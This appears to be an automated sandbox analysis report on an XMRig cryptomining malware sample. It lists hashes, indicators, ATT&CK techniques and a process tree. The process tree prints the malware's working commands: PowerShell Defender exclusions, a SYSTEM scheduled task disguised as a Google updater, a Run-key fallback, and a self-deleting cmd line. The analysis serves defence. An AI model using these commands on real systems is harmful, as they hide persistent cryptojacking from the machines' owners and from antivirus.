xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
377s
max time network
1818s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/12/2023, 12:01

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General

Target

qM5GMXBk6hJE6Y5e (22).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2972 created 1292	2972	qM5GMXBk6hJE6Y5e (22).exe	11
PID 2972 created 1292	2972	qM5GMXBk6hJE6Y5e (22).exe	11
PID 2972 created 1292	2972	qM5GMXBk6hJE6Y5e (22).exe	11
PID 2972 created 1292	2972	qM5GMXBk6hJE6Y5e (22).exe	11
PID 1596 created 1292	1596	updater.exe	11
PID 1596 created 1292	1596	updater.exe	11
PID 1596 created 1292	1596	updater.exe	11
PID 1596 created 1292	1596	updater.exe	11
PID 2596 created 1292	2596	conhost.exe	11
PID 1596 created 1292	1596	updater.exe	11

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral15/memory/2000-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-146-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-148-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-150-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/2000-152-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
1928	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1596	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1832	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral15/memory/2000-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-146-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-148-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-150-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/2000-152-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1596 set thread context of 2596	1596	updater.exe	53
PID 1596 set thread context of 2000	1596	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (22).exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2580	schtasks.exe
2912	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2836	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 1094eb7e8436da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2972	qM5GMXBk6hJE6Y5e (22).exe
2972	qM5GMXBk6hJE6Y5e (22).exe
2356	powershell.exe
2972	qM5GMXBk6hJE6Y5e (22).exe
2972	qM5GMXBk6hJE6Y5e (22).exe
2688	powershell.exe
2972	qM5GMXBk6hJE6Y5e (22).exe
2972	qM5GMXBk6hJE6Y5e (22).exe
2972	qM5GMXBk6hJE6Y5e (22).exe
2972	qM5GMXBk6hJE6Y5e (22).exe
2140	powershell.exe
1596	updater.exe
1596	updater.exe
2616	powershell.exe
1596	updater.exe
1596	updater.exe
2840	powershell.exe
1596	updater.exe
1596	updater.exe
1596	updater.exe
1596	updater.exe
2596	conhost.exe
2596	conhost.exe
1596	updater.exe
1596	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	1596	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2836	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2836	WMIC.exe
Token: SeSecurityPrivilege	2836	WMIC.exe
Token: SeTakeOwnershipPrivilege	2836	WMIC.exe
Token: SeLoadDriverPrivilege	2836	WMIC.exe
Token: SeSystemtimePrivilege	2836	WMIC.exe
Token: SeBackupPrivilege	2836	WMIC.exe
Token: SeRestorePrivilege	2836	WMIC.exe
Token: SeShutdownPrivilege	2836	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2836	WMIC.exe
Token: SeUndockPrivilege	2836	WMIC.exe
Token: SeManageVolumePrivilege	2836	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2836	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2836	WMIC.exe
Token: SeSecurityPrivilege	2836	WMIC.exe
Token: SeTakeOwnershipPrivilege	2836	WMIC.exe
Token: SeLoadDriverPrivilege	2836	WMIC.exe
Token: SeSystemtimePrivilege	2836	WMIC.exe
Token: SeBackupPrivilege	2836	WMIC.exe
Token: SeRestorePrivilege	2836	WMIC.exe
Token: SeShutdownPrivilege	2836	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2836	WMIC.exe
Token: SeUndockPrivilege	2836	WMIC.exe
Token: SeManageVolumePrivilege	2836	WMIC.exe
Token: SeLockMemoryPrivilege	2000	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 2580	2688	powershell.exe	34
PID 2688 wrote to memory of 2580	2688	powershell.exe	34
PID 2688 wrote to memory of 2580	2688	powershell.exe	34
PID 2140 wrote to memory of 1588	2140	powershell.exe	38
PID 2140 wrote to memory of 1588	2140	powershell.exe	38
PID 2140 wrote to memory of 1588	2140	powershell.exe	38
PID 1928 wrote to memory of 1532	1928	cmd.exe	41
PID 1928 wrote to memory of 1532	1928	cmd.exe	41
PID 1928 wrote to memory of 1532	1928	cmd.exe	41
PID 1832 wrote to memory of 1596	1832	taskeng.exe	42
PID 1832 wrote to memory of 1596	1832	taskeng.exe	42
PID 1832 wrote to memory of 1596	1832	taskeng.exe	42
PID 2840 wrote to memory of 2912	2840	powershell.exe	47
PID 2840 wrote to memory of 2912	2840	powershell.exe	47
PID 2840 wrote to memory of 2912	2840	powershell.exe	47
PID 1596 wrote to memory of 2596	1596	updater.exe	53
PID 3068 wrote to memory of 2836	3068	cmd.exe	50
PID 3068 wrote to memory of 2836	3068	cmd.exe	50
PID 3068 wrote to memory of 2836	3068	cmd.exe	50
PID 1596 wrote to memory of 2000	1596	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1292
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (22).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (22).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2580
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (22).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1928
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2912
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:3068
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2836
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2072
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2596
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2000

C:\Windows\system32\taskeng.exe
taskeng.exe {FBCE55C6-24DB-430F-BCC1-D37EAAC84136} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
11KB

MD5
79268a14cd1da85644856ea971807abf

SHA1
122325df927beb4a79d4f2b8eabb0d8b7bf3cef3

SHA256
2e1e80c8738882988ee6e2f7945d42bf7c6b47828168d76c61effe0d6f7a1d2f

SHA512
ebb5b35952bb8c43067d72097f10d703c77b6abe26a2b06cfd51bd1423db975df24da083e40c489a2c471e3a79919ad12eb35bdac3892c98ea4a5d9d79e3fb21

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1fd5de2407706c26278877dfa32ea847

SHA1
acd26701ba0827017b6ad89cf3c962d39f302bf9

SHA256
aa165812c3d00c69d72597ba89511067b99c3d68de3170bddf67dec268da3f96

SHA512
129c35186ad10d7b102a21463c70db5f672692e2131faee7466edfe6a402785cd2a9002a33463ad6f560154d904c503569e314283a35f46478c35792febbea4c

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/1596-74-0x000000013F5E0000-0x000000013F7F1000-memory.dmp

Filesize
2.1MB

Download
memory/1596-52-0x000000013F5E0000-0x000000013F7F1000-memory.dmp

Filesize
2.1MB

Download
memory/2000-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-152-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-150-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-148-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-146-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-92-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/2000-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-75-0x00000000000F0000-0x0000000000110000-memory.dmp

Filesize
128KB

Download
memory/2000-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2000-93-0x00000000007E0000-0x0000000000800000-memory.dmp

Filesize
128KB

Download
memory/2000-80-0x00000000007E0000-0x0000000000800000-memory.dmp

Filesize
128KB

Download
memory/2000-79-0x00000000007A0000-0x00000000007C0000-memory.dmp

Filesize
128KB

Download
memory/2000-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2140-48-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2140-47-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2140-46-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2140-45-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2140-44-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2140-43-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2140-42-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-12-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-7-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-6-0x0000000002430000-0x0000000002438000-memory.dmp

Filesize
32KB

Download
memory/2356-5-0x000000001B0E0000-0x000000001B3C2000-memory.dmp

Filesize
2.9MB

Download
memory/2356-10-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2356-8-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2356-11-0x0000000002460000-0x00000000024E0000-memory.dmp

Filesize
512KB

Download
memory/2356-9-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2596-77-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2596-84-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2616-56-0x0000000000F70000-0x0000000000FF0000-memory.dmp

Filesize
512KB

Download
memory/2616-57-0x0000000000F70000-0x0000000000FF0000-memory.dmp

Filesize
512KB

Download
memory/2616-55-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2616-53-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2616-58-0x0000000000F70000-0x0000000000FF0000-memory.dmp

Filesize
512KB

Download
memory/2616-59-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2616-54-0x0000000000F70000-0x0000000000FF0000-memory.dmp

Filesize
512KB

Download
memory/2688-32-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2688-22-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2688-18-0x000000001B0A0000-0x000000001B382000-memory.dmp

Filesize
2.9MB

